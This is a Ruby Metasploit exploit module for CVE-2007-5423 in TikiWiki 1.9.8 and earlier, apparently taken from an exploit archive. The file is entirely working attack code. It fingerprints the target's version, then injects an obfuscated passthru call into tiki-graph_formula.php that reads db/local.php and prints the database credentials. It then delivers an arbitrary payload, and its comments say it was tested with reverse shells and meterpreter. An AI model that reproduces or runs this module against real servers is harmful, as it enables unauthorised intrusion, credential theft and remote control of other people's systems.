TikiWiki tiki-graph_formula – PHP Remote Code Execution (Metasploit)
## # $Id: tikiwiki_graph_formula_exec.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution', 'Description' => %q{ TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary PHP code. The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input supplied to create_function(), which may allow a remote attacker to execute arbitrary PHP code resulting in a loss of integrity. }, 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2007-5423'], ['OSVDB', '40478'], ['BID', '26006'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, # 6k. Really it's the max length of a URI minus the junk # we have to put in the request to trigger the # vulnerability. On Apache, 8190 is the max, so this # should be a pretty safe value. 'Space' => 6144, # Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'. 'BadChars' => "`\"' %&x", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Oct 10 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]), ], self.class) end def check res = send_request_raw( { 'uri' => datastore['URI'] + "/tiki-index.php", 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 5) http_fingerprint({ :response => res }) # check method if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/)) ver = $1 #print_status("Detected TikiWiki version #{ver}") ver = ver.split('.') return Exploit::CheckCode::Safe if (ver[0] != '1') return Exploit::CheckCode::Safe if (ver[1] != '9') if (ver.length > 2) ver2 = ver[2].to_i if (ver.length > 3) ver3 = ver[3].to_i else ver3 = 0 end return Exploit::CheckCode::Safe if (ver2 > 8) return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0) end return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Attempting to obtain database credentials...") url_db_local = build_uri("passthru(" + "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY "chr(59)." + # ; # cat db/local.php "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." + "chr(59)." + # ; "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY ")") res = send_request_raw({ 'uri' => url_db_local, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 5) if (res and res.message == "OK" and res.body) print_status("The server returned : #{res.code} #{res.message}") print_status("Server version : #{res.headers['Server']}") db_tiki = res.body.match(/db_tiki='(.*?)';/m) if (db_tiki) dbversion = res.body.match(/dbversion_tiki='(.*?)';/m) host_tiki = res.body.match(/host_tiki='(.*?)';/m) user_tiki = res.body.match(/user_tiki='(.*?)';/m) pass_tiki = res.body.match(/pass_tiki='(.*?)';/m) dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m) print_status("TikiWiki database informations : \n") print("db_tiki : " + db_tiki[1] + "\n") print("dbversion : " + dbversion[1] + "\n") print("host_tiki : " + host_tiki[1] + "\n") print("user_tiki : " + user_tiki[1] + "\n") print("pass_tiki : " + pass_tiki[1] + "\n") print("dbs_tiki : " + dbs_tiki[1] + "\n\n") end else print_status("No response from the server") end print_status("Attempting to execute our payload...") command = Rex::Text.uri_encode(payload.encoded) url_cmd = build_uri(payload.encoded) res = send_request_raw({ 'uri' => url_cmd, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 5) end # # This function will build a fairly randomish query string to be used # when exploiting this vulnerability :) # def build_uri(f_val) uri = '' uri << datastore['URI'] uri << "/tiki-graph_formula.php?" # Requirements: query = '' # 1. w,h,s,min,max must all be numeric vars = %w{ w h s min max } min = nil vars.each { |el| query << "&" if query.length > 0 num = 1+rand(999) # 2. min must be less than max case el when 's' num = 1+rand(500) when 'min' if (min) num = min else min = num end when 'max' min ||= num num = min + 1 + rand(99) end query << "#{el}=#{num}" } # 3. cannot use `, ', ", or space if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' ')) raise RuntimeError, "The value for the 'f' variable contains an invalid character!" end # 4. the function must be one of: valid = %w{ abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin sinh sqrt tan tanh } func = valid[rand(valid.length)] # 5. f must be an array query << "&" if query.length > 0 # Strip off the semi-colon that the encoder insists on including. if f_val[-1,1] == ";" f_val = f_val[0,f_val.length-1] end query << "f[]=x.#{func}.#{f_val}" # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5 # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and # php/meterpreter/reverse_tcp # -egypt # If we dont kill php here it spins eating 100% cpu :-/ #query << '.die()' # 6. two options for 't' - png and pdf # - png requires php's gd extension # - pdf, if you set 'p', requires php pdf extension # -- we always use 'pdf' with a null 'p' query << "&" if query.length > 0 query << 't=pdf' # 7. title must be set query << '&title=' uri << query uri end end |